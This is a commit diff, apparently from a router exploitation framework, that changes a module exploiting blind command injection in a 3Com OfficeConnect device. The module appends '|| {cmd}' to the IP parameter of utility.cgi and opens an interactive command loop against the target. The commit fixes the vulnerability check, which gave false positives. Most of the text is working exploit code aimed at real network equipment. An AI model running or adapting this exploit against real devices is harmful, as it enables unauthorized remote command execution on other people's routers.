Unverified Commit 9c0dbff8 by Marcin Bury Committed by GitHub

Fixing false positive - 3com officeconnect rce (#511)

parent 4e7c7ecc
...@@ -23,13 +23,28 @@ class Exploit(HTTPClient): ...@@ -23,13 +23,28 @@ class Exploit(HTTPClient):
port = OptPort(80, "Target HTTP port") port = OptPort(80, "Target HTTP port")
def run(self): def run(self):
if self.check(): response1 = self.http_request(
print_success("Target is vulnerable") method="GET",
path="/utility.cgi?testType=1&IP=aaa",
)
if response1 and response1.status_code == 200:
path = "/{}.cgi".format(utils.random_text(32))
response2 = self.http_request(
method="GET",
path=path,
)
if not response2 or response1.text != response2.text:
print_success("Target appears to be vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available") print_status("It is blind command injection - response is not available")
shell(self, architecture="mipsbe") shell(self, architecture="mipsbe")
else: else:
print_error("Target is not vulnerable") print_error("Exploit failed - target does not seem to be vulnerable")
else:
print_error("Exploit failed - target does not seem to be vulnerable")
def execute(self, cmd): def execute(self, cmd):
path = "/utility.cgi?testType=1&IP=aaa || {}".format(cmd) path = "/utility.cgi?testType=1&IP=aaa || {}".format(cmd)
...@@ -42,21 +57,4 @@ class Exploit(HTTPClient): ...@@ -42,21 +57,4 @@ class Exploit(HTTPClient):
@mute @mute
def check(self): def check(self):
response1 = self.http_request( return None # there is no reliable way to check if target is vulnerable
method="GET",
path="/utility.cgi?testType=1&IP=aaa",
)
if response1 is None:
return False # target is not vulnerable
if response1.status_code == 200:
path = "/{}.cgi".format(utils.random_text(32))
response2 = self.http_request(
method="GET",
path=path,
)
if response2 is None or response1.text != response2.text:
return True # target is vulnerable
return False # target is not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment